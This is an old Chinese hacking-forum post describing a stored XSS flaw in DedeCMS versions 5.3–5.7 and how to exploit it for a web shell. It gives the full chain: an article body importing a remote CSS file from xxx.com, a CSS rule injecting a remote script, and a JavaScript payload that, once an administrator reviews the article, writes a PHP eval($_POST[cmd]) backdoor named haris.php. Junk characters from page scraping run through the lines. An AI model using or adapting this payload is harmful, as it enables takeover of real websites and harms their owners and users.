找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1995|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell' @% i# w6 B2 U" i+ ^9 B) w5 ~
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)0 P) ^; w7 D; \
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。) j& w4 n" d$ i4 ~" Z+ E
下面说说利用方法。8 M9 z- |- S0 k: o1 l# b( I* O: Z2 n6 L
条件有2个:
( W: p0 H; ~8 x% P( x3 V1.开启注册$ J" ]1 i: m4 o. J! J7 G
2.开启投稿
1 N$ v& V( c9 ^6 z1 ]注册会员----发表文章5 n: D8 K; |( q( i! Y; b( Q" b
内容填写:
0 y; K: k0 S- b4 |复制代码
2 N  `8 I' j: f' R  ~0 x<style>@im\port'\http://xxx.com/xss.css';</style>* L2 \) o; I9 _+ d8 m+ H  s
新建XSS.Css
, g- ~' O% q! N/ w- N: O复制代码
$ |% z. f" m3 S2 I1 ?: T$ R' Z, ].body{+ s7 Y- [8 Y) e( K; G
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }( E2 C5 g; S- X
新建xss.js 内容为
* h9 j0 u' Z2 E' y复制代码
% Z: I& J# o$ {1.var request = false;' p! y) ^. M) X
2.if(window.XMLHttpRequest) {3 ~4 {2 ~' a& ^1 z, {0 {+ V
3.request = new XMLHttpRequest();0 R5 M1 B0 k) x; w" E' x
4.if(request.overrideMimeType) {
: i7 c/ y( ?* V9 d- H& H. N0 J5.request.overrideMimeType('text/xml');8 a# X9 F- @& s
6.}
! K3 {$ J; n) d7 A. Q7.} else if(window.ActiveXObject) {/ Y. C) k3 A: X/ I
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];# c$ Y6 |9 J) e' T8 Q, h
9.for(var i=0; i<versions.length; i++) {" Z5 [& i% E& b
10.try {3 {% E" }  C8 E
11.request = new ActiveXObject(versions);- }7 Z9 y+ X+ V% \  ~- h
12.} catch(e) {}
6 A" d! M& p4 X9 W9 b9 V13.}2 Y, L+ i% ]" y
14.}
4 K* J* ~- A' [5 |$ q- V15.xmlhttp=request;
* p% Q9 i: y! i0 N7 j/ b, \16.function getFolder( url ){
* u. R' H6 ^( g* k* ?+ I; Q17. obj = url.split('/')
. ~0 W; a& y9 Q4 q# z18. return obj[obj.length-2]
8 a+ u9 S& c: `- s7 c19.}
% l' J# C" d+ q" p0 [20.oUrl = top.location.href;$ W. W# X% d: H
21.u = getFolder(oUrl);4 d$ K; t' ^$ I, J$ E' A
22.add_admin();& Y& K' M! t) F' _* G
23.function add_admin(){+ h2 \8 L0 c4 |( n7 M4 S
24.var url= "/"+u+"/sys_sql_query.php";4 ?( m! ?$ A' c8 |1 C) H+ {# ^2 H
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
( W4 y6 [, t' z; T26.xmlhttp.open("POST", url, true);
  [- c% b& y2 N! }. @27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
1 `4 n* m& p- t% a28.xmlhttp.setRequestHeader("Content-length", params.length);. d; \) a# N6 [7 W
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
1 Y! `6 D& r2 v30.xmlhttp.send(params);
8 P" B5 e! M# C0 n+ I8 Q1 F; X6 V- p31.}
' Q$ @* R0 Z+ R2 Q4 y0 E/ L5 J' U当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表